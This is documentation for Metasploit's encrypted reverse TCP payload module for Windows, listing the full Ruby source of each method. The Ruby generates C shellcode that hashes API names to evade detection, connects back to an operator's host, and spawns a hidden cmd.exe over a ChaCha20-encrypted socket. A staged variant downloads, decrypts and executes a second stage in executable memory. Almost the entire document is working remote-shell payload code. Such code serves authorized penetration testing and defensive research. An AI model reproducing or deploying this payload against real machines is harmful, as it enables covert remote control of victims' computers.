Module: Msf::Payload::Windows::EncryptedReverseTcp

Includes:
UUID::Options, Msf::Payload::Windows, EncryptedPayloadOpts, PayloadDBConf
Defined in:
lib/msf/core/payload/windows/encrypted_reverse_tcp.rb

Overview

encrypted reverse tcp payload for Windows

Constant Summary

Constants included from EncryptedPayloadOpts

Msf::Payload::Windows::EncryptedPayloadOpts::LINK_SCRIPT_PATH

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from PayloadDBConf

#retrieve_chacha_creds, #retrieve_conf_from_db, #save_conf_to_db

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Instance Method Details

#align_rspObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 211

def align_rsp
  %Q^
    void AlignRSP()
    {
      asm("push %rsi                      \\t\\n\\
           mov %rsp, %rsi                 \\t\\n\\
           and $0x0FFFFFFFFFFFFFFF0, %rsp \\t\\n\\
           sub $0x020, %rsp               \\t\\n\\
           call ExecutePayload            \\t\\n\\
           mov %rsi, %rsp                 \\t\\n\\
           pop %rsi                       \\t\\n\\
           ret");
    }
  ^
end

#call_init_winsockObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 489

def call_init_winsock
  %Q^
      init_winsock();
  ^
end

#chacha_funcObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 239

def chacha_func
  %Q^
    char *chacha_data(char *buf, int len, chacha_ctx *ctx)
      {
        FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll',
        char *out = VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_READWRITE);
        chacha_encrypt_bytes(ctx, buf, out, len);
        out[len] = '\\0';
        return out;
      }
  ^
end

#chacha_func_stagedObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 227

def chacha_func_staged
  %Q^
    char *chacha_data(char *buf, int len, chacha_ctx *ctx)
    {
      chacha_encrypt_bytes(ctx, buf, buf, len);
      buf[len] = '\\0';

      return buf;
    }
  ^
end

#comm_setupObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 287

def comm_setup
  %Q^
    struct addrinfo *conn_info_setup(char *i, char *p)
    {
      UINT term_proc_stat = ExitProc();
      struct addrinfo hints, *results = NULL, *first = NULL;
      FuncGetAddrInfo GetAddrInf = (FuncGetAddrInfo) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'getaddrinfo')}); // hash('ws2_32.dll', 'getaddrinfo') -> 0x14f1f695
      FuncFreeAddrInfo FreeAddrInf = (FuncFreeAddrInfo) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'freeaddrinfo')}); // hash('ws2_32.dll', 'freeaddrinfo') -> 0x150784f5
      FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0

      SecureZeroMemory(&hints, sizeof(hints));
      hints.ai_family = AF_INET;
      hints.ai_socktype = SOCK_STREAM;
      hints.ai_protocol = IPPROTO_TCP;

      if(GetAddrInf(i, p, &hints, &results))
      {
        ExitProcess(term_proc_stat);
      }

      first = results;
      if(first == NULL)
      {
        FreeAddrInf(results);
        ExitProcess(term_proc_stat);
      }

      return first;
    }
  ^
end

#exec_payload_stageObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 576

def exec_payload_stage
  reg = self.arch_to_s.eql?('x86') ? 'edi' : 'rdi'
  inst = self.arch_to_s.eql?('x86') ? 'movl' : 'movq'

  %Q^
   void ExecutePayload()
   {
     SOCKET conn_socket = INVALID_SOCKET;

     asm("#{inst} %%#{reg}, %0"
         :
         :"m"(conn_socket)
     );

     HANDLE *comm_handles = init_process(conn_socket);
     communicate(*(comm_handles), *(comm_handles+1), conn_socket);
   }
  ^
end

#exit_procObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 252

def exit_proc
  %Q^
    UINT ExitProc()
    {
      DWORD term_status;
      FuncGetCurrentProcess GetCurrentProcess = (FuncGetCurrentProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'GetCurrentProcess')}); // hash('kernel32.dll', 'GetCurrentProcess') -> 0x51e2f352
      FuncGetExitCodeProcess GetExitCodeProcess = (FuncGetExitCodeProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'GetExitCodeProcess')}); // hash('kernel32.dll', 'GetExitCodeProcess' -> 0xee54785f

      HANDLE curr_proc_handle = GetCurrentProcess();
      GetExitCodeProcess(curr_proc_handle, &term_status);

      return term_status;
    }
  ^
end

#format_ds_opt(opt) ⇒ Object

Options such as the LHOST and PORT need to become a null-terminated array to ensure they exist in the .text section.


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 193

def format_ds_opt(opt)
  modified = ''

  opt = opt.to_s
  opt.split('').each { |elem| modified << "\'#{elem}\', " }
  modified = "#{modified}0"
end

#generate(opts = {}) ⇒ Object


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 25

def generate(opts={})
  opts[:uuid] ||= generate_payload_uuid.puid_hex
  iv = datastore['ChachaNonce']

  conf =
  {
    call_wsastartup: datastore['CallWSAStartup'],
    port:            format_ds_opt(datastore['LPORT']),
    host:            format_ds_opt(datastore['LHOST']),
    key:             datastore['ChachaKey'],
    nonce:           datastore['ChachaNonce'],
    iv:              iv,
    uuid:            opts[:uuid],
    staged:          staged?
  }

  src = ''
  if staged?
    src = generate_stager(conf)
  else
    src = generate_c_src(conf)
  end

  link_script = module_info['DefaultOptions']['LinkerScript']
  compile_opts =
  {
    strip_symbols: datastore['StripSymbols'],
    linker_script: link_script,
    opt_lvl:       datastore['OptLevel'],
    keep_src:      datastore['KeepSrc'],
    keep_exe:      datastore['KeepExe'],
    f_name:        Tempfile.new(staged? ? 'reverse_pic_stager' : 'reverse_pic_stageless').path,
    arch:          self.arch_to_s
  }

  comp_code = get_compiled_shellcode(src, compile_opts)

  chacha_conf =
  {
    'uuid'  =>  conf[:uuid],
    'key'   =>  conf[:key],
    'nonce' =>  conf[:nonce]
  }
  save_conf_to_db(chacha_conf)

  comp_code
end

#generate_c_src(conf) ⇒ Object


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 141

def generate_c_src(conf)
  src = initial_code

  if conf[:call_wsastartup]
    src << init_winsock
  end

  src << comm_setup
  src << get_new_key
  src << init_proc
  src << get_load_library(conf[:host], conf[:port])
  src << call_init_winsock if conf[:call_wsastartup]
  src << start_comm(conf[:uuid])
  src << single_comm
end

#generate_stage(opts = {}) ⇒ Object


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 107

def generate_stage(opts={})
  conf = opts[:datastore] || datastore
  conf[:staged] = true
  stage_uuid = opts[:uuid] || uuid
  key, nonce = retrieve_chacha_creds(stage_uuid)

  unless key && nonce
    print_status('No existing key/nonce in db. Resorting to datastore options.')
    key = conf['ChachaKey']
    nonce = conf['ChachaNonce']
  end
  iv = nonce

  link_script = module_info['DefaultOptions']['LinkerScript']
  comp_opts =
  {
    strip_symbols: false,
    linker_script: link_script,
    keep_src:      datastore['KeepSrc'],
    keep_exe:      datastore['KeepExe'],
    f_name:        Tempfile.new('reverse_pic_stage').path,
    arch:          self.arch_to_s
  }

  src = initial_code
  src << get_new_key
  src << init_proc
  src << exec_payload_stage
  shellcode = get_compiled_shellcode(src, comp_opts)

  stage_obj = Rex::Crypto::Chacha20.new(key, iv)
  stage_obj.chacha20_crypt(shellcode)
end

#generate_stager(conf) ⇒ Object


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 85

def generate_stager(conf)
  src = initial_code

  if conf[:call_wsastartup]
    src << init_winsock
  end

  src << comm_setup
  src << get_load_library(conf[:host], conf[:port])
  src << call_init_winsock if conf[:call_wsastartup]
  src << start_comm(conf[:uuid])
  src << stager_comm
end

#get_compiled_shellcode(src, opts = {}) ⇒ Object


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 161

def get_compiled_shellcode(src, opts={})
  comp_obj = nil
  case opts[:arch]
  when 'x86'
    comp_obj = Metasploit::Framework::Compiler::Mingw::X86.new(opts)
  when 'x64'
    comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts)
  end

  compiler_out = comp_obj.compile_c(src)
  unless compiler_out.empty?
    elog(compiler_out)
    raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError.new('Payload did not compile. Check the logs for further information.')
  end

  comp_file = "#{opts[:f_name]}.exe"
  raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file)
  bin = File.binread(comp_file).strip
  bin = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(bin))

  text_section = bin.sections.first
  text_section = text_section._isource

  comp_obj.cleanup_files
  text_section.rawdata
end

#get_hash(lib, func) ⇒ Object


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 157

def get_hash(lib, func)
  Rex::Text.block_api_hash(lib, func)
end

#get_load_library(host, port) ⇒ Object

ExecutePayload acts as the main function of the c program


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 467

def get_load_library(host, port)
  %Q^
    void ExecutePayload(VOID)
    {
      FuncLoadLibraryA LoadALibrary;
      FuncWSASocketA WSASock;
      FuncWSACleanup WSACleanup;
      FuncConnect ConnectSock;
      UINT proc_term_status = ExitProc();
      SOCKET conn_socket = INVALID_SOCKET;
      FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0
      FuncCloseHandle CloseHandle = (FuncCloseHandle) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CloseHandle')}); // hash('kernel32.dll', 'CloseHandle') -> 0x528796c6

      char ip[] = { #{host} };
      char port[] = { #{port} };
      char ws2[] = { 'w', 's', '2', '_', '3', '2', '.', 'd', 'l', 'l', 0 };

      LoadALibrary = (FuncLoadLibraryA) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'LoadLibraryA')}); // hash('kernel32.dll', 'LoadLibrary') -> 0x0726774C
      LoadALibrary((LPTSTR) ws2);
    ^
end

#get_new_keyObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 319

def get_new_key
  %Q^
    char *get_new_key(SOCKET s)
    {
      FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll',
      FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')});

      char *received = VirtualAlloc(NULL, 45, MEM_COMMIT, PAGE_READWRITE);
      int recv_num = RecvData(s, received, 44, 0);

      received[44] = '\\0';
      return received;
    }
  ^
end

#headersObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 201

def headers
  %Q^
    #include "winsock_util.h"
    #include "payload_util.h"
    #include "kernel32_util.h"

    #include "chacha.h"
  ^
end

#include_send_uuidObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 103

def include_send_uuid
  true
end

#init_procObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 335

def init_proc
  %Q^
    HANDLE* init_process(SOCKET s)
    {
      char cmd[] = { 'c', 'm', 'd', 0 };
      STARTUPINFO si;
      SECURITY_ATTRIBUTES sa;
      PROCESS_INFORMATION pi;
      UINT proc_stat = ExitProc();
      HANDLE out_rd, out_wr, in_rd, in_wr;
      FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0

      SecureZeroMemory(&si, sizeof(si));
      SecureZeroMemory(&sa, sizeof(sa));
      SecureZeroMemory(&pi, sizeof(pi));

      si.cb = sizeof(si);
      sa.nLength = sizeof(sa);
      sa.lpSecurityDescriptor = NULL;
      sa.bInheritHandle = TRUE;

      FuncCreatePipe CreatePipe = (FuncCreatePipe) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CreatePipe')}); // hash('kernel32.dll', 'CreatePipe') -> 0xeafcf3e
      CreatePipe(&out_rd, &out_wr, &sa, 0);
      CreatePipe(&in_rd, &in_wr, &sa, 0);

      FuncSetHandleInformation SetHandleInformation = (FuncSetHandleInformation) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'SetHandleInformation')}); // hash('kernel32.dll', 'SetHandleInformation') -> 0x1cd313ca
      SetHandleInformation(out_rd, HANDLE_FLAG_INHERIT, 0);
      SetHandleInformation(in_wr, HANDLE_FLAG_INHERIT, 0);

      si.dwFlags = STARTF_USESTDHANDLES;
      si.hStdError = si.hStdOutput = out_wr;
      si.hStdInput = in_rd;

      FuncCreateProcess CreateProcess = (FuncCreateProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CreateProcessA')}); // hash('kernel32.dll', 'CreateProcess') -> 0x863fcc79
      if(!CreateProcess(NULL, cmd, &sa, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
      {
        ExitProcess(proc_stat);
      }

      FuncCloseHandle CloseHandle = (FuncCloseHandle) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CloseHandle')}); // hash('kernel32.dll', 'CloseHandle') -> 0x528796c6
      CloseHandle(pi.hProcess);
      CloseHandle(pi.hThread);

      FuncGlobalAlloc GlobalAlloc = (FuncGlobalAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'GlobalAlloc')}); // hash('kernel32.dll', 'GlobalAlloc') -> 0x520f76f6
      HANDLE *handle_arr = GlobalAlloc(GMEM_FIXED, sizeof(HANDLE) * 2);

      handle_arr[0] = out_rd;
      handle_arr[1] = in_wr;

      return handle_arr;
    }

    void communicate(HANDLE out, HANDLE in, SOCKET s)
    {
      DWORD data = 0;
      char buf[512];
      int buf_size = 512;
      int new_key = 0;
      DWORD bytes_received = 0;
      FuncSleep Sleep = (FuncSleep) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'Sleep')}); // hash('kernel32.dll', 'Sleep') -> 0xe035f044
      FuncSend SendData = (FuncSend) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'send')}); // hash('ws2_32.dll', 'send') -> 0x5f38ebc2
      FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')}); // hash('ws2_32.dll', 'recv') -> 0x5fc8d902
      FuncReadFile ReadFile = (FuncReadFile) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ReadFile')}); // hash('kernel32.dll', 'ReadFile') -> 0xbb5f9ead
      FuncWriteFile WriteFile = (FuncWriteFile) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'WriteFile')}); // hash('kernel32.dll', 'WriteFile') -> 0x5bae572d
      FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0
      FuncPeekNamedPipe PeekNamedPipe = (FuncPeekNamedPipe) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'PeekNamedPipe')}); // hash('kernel32.dll', 'PeekNamedPipe') -> 0xb33cb718
      FuncVirtualFree VirtualFree = (FuncVirtualFree) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualFree')}); // hash('kernel32.dll', 'VirtualFree') -> 0x300f2f0b

      SecureZeroMemory(buf, buf_size);
      UINT term_stat = ExitProc();
      char init_key[] = { #{format_ds_opt(datastore['ChachaKey'])} };
      char init_nonce[] = { #{format_ds_opt(datastore['ChachaNonce'])} };
      char *key = init_key;
      char *nonce = init_nonce;

      chacha_ctx ctx;
      chacha_keysetup(&ctx, key, 256, 96);
      chacha_ivsetup(&ctx, nonce);

      do
      {
        if(new_key == 0)
        {
          char *stream = get_new_key(s);
          if(stream == NULL)
          {
            ExitProcess(term_stat);
          }

          char *res = chacha_data(stream, 44, &ctx);
          key = res + 12;
          nonce = res;
          new_key = 1;

          chacha_keysetup(&ctx, key, 256, 96);
          chacha_ivsetup(&ctx, nonce);
        }

        if(PeekNamedPipe(out, NULL, 0, NULL, &data, NULL) && data > 0)
        {
          if(!ReadFile(out, buf, buf_size-1, &bytes_received, NULL))
          {
            ExitProcess(term_stat);
          }
          char *cmd = chacha_data(buf, bytes_received, &ctx);
          SendData(s, cmd, bytes_received, 0);
          SecureZeroMemory(buf, buf_size);
          VirtualFree(cmd, bytes_received+1, MEM_RELEASE);
        }
        else
        {
          DWORD bytes_written = 0;

          bytes_received = RecvData(s, buf, buf_size-1, 0);
          if(bytes_received > 0)
          {
            char *dec_cmd = chacha_data(buf, bytes_received, &ctx);
            WriteFile(in, dec_cmd, bytes_received, &bytes_written, NULL);
            SecureZeroMemory(buf, buf_size);
            VirtualFree(dec_cmd, bytes_received+1, MEM_RELEASE);
          }
        }
        Sleep(100);
      } while(bytes_received > 0);
    }

  ^
end

#init_winsockObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 268

def init_winsock
  %Q^
    void init_winsock()
    {
      WSADATA wsadata;
      FuncWSAStartup WSAInit;
      UINT term_proc_status = ExitProc();
      FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0

      WSAInit = (FuncWSAStartup) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'WSAStartup')}); // hash('ws2_32.dll', 'WSAStartup') -> 0x006B8029
      if(WSAInit(MAKEWORD(2, 2), &wsadata))
      {
        ExitProcess(term_proc_status);
      }
    }

  ^
end

#initial_codeObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 73

def initial_code
  src = headers
  src << align_rsp if self.arch_to_s.eql?('x64')

  if staged?
    src << chacha_func_staged
  else
    src << chacha_func
  end
  src << exit_proc
end

#initialize(*args) ⇒ Object


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 21

def initialize(*args)
  super
end

#sends_hex_uuid?Boolean

Returns:

  • (Boolean)

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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 99

def sends_hex_uuid?
  true
end

#single_commObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 520

def single_comm
  %Q^
      HANDLE *comm_handles = init_process(conn_socket);
      communicate(*(comm_handles), *(comm_handles+1), conn_socket);

      CloseHandle(*comm_handles);
      CloseHandle(*(comm_handles + 1));
      WSACleanup = (FuncWSACleanup) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'WSACleanup')}); // hash('ws2_32.dll', 'WSACleanup') -> 0xf44a6e2b
    }
  ^
end

#stager_commObject


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 532

def stager_comm
  reg = self.arch_to_s.eql?('x86') ? 'edi' : 'rdi'
  inst = self.arch_to_s.eql?('x86') ? 'movl' : 'movq'

  %Q^
      FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')}); // hash('ws2_32.dll', 'recv') -> 0x5fc8d902
      unsigned int stage_size;
      int recvd = RecvData(conn_socket, (char *) &stage_size, 4, 0);
      if(recvd != 4)
      {
        ExitProcess(proc_term_status);
      }

      FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll', 'VirtualAlloc') -> 0xe553a458
      register char *received = VirtualAlloc(NULL, stage_size + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

      int recv_stg = RecvData(conn_socket, received, stage_size, 0);
      if(recv_stg != stage_size)
      {
        ExitProcess(proc_term_status);
      }

      char key[] = { #{format_ds_opt(datastore['ChachaKey'])} };
      char nonce[] = { #{format_ds_opt(datastore['ChachaNonce'])} };

      chacha_ctx dec_ctx;
      chacha_keysetup(&dec_ctx, key, 256, 96);
      chacha_ivsetup(&dec_ctx, nonce);
      chacha_data(received, stage_size + 1, &dec_ctx);

      // hand the socket to the stage
      asm("#{inst} %0, %%#{reg}"
          :
          : "r" (conn_socket)
          : "%#{reg}"
      );

      // call the stage
      void (*func)() = (void(*)())received;
      func();
    }
  ^
end

#start_comm(uuid) ⇒ Object


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# File 'lib/msf/core/payload/windows/encrypted_reverse_tcp.rb', line 495

def start_comm(uuid)
 %Q^
     struct addrinfo *info = NULL;
     info = conn_info_setup(ip, port);
     FuncSend SendData = (FuncSend) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'send')}); // hash('ws2_32.dll', 'send') -> 0x5f38ebc2
     WSASock = (FuncWSASocketA) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'WSASocketA')}); // hash('ws2_32.dll', 'WSASocketA') -> 0xe0df0fea
     conn_socket = WSASock(info->ai_family, info->ai_socktype, info->ai_protocol, NULL, 0, 0);

     if(conn_socket == INVALID_SOCKET)
     {
       ExitProcess(proc_term_status);
     }

     ConnectSock = (FuncConnect) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'connect')}); // hash('ws2_32.dll', 'connect') -> 0x6174a599
     if(ConnectSock(conn_socket, info->ai_addr, info->ai_addrlen) == SOCKET_ERROR)
     {
       ExitProcess(proc_term_status);
     }

     char uuid[] = { #{format_ds_opt(uuid)} };
     SendData(conn_socket, uuid, 16, 0);

   ^
end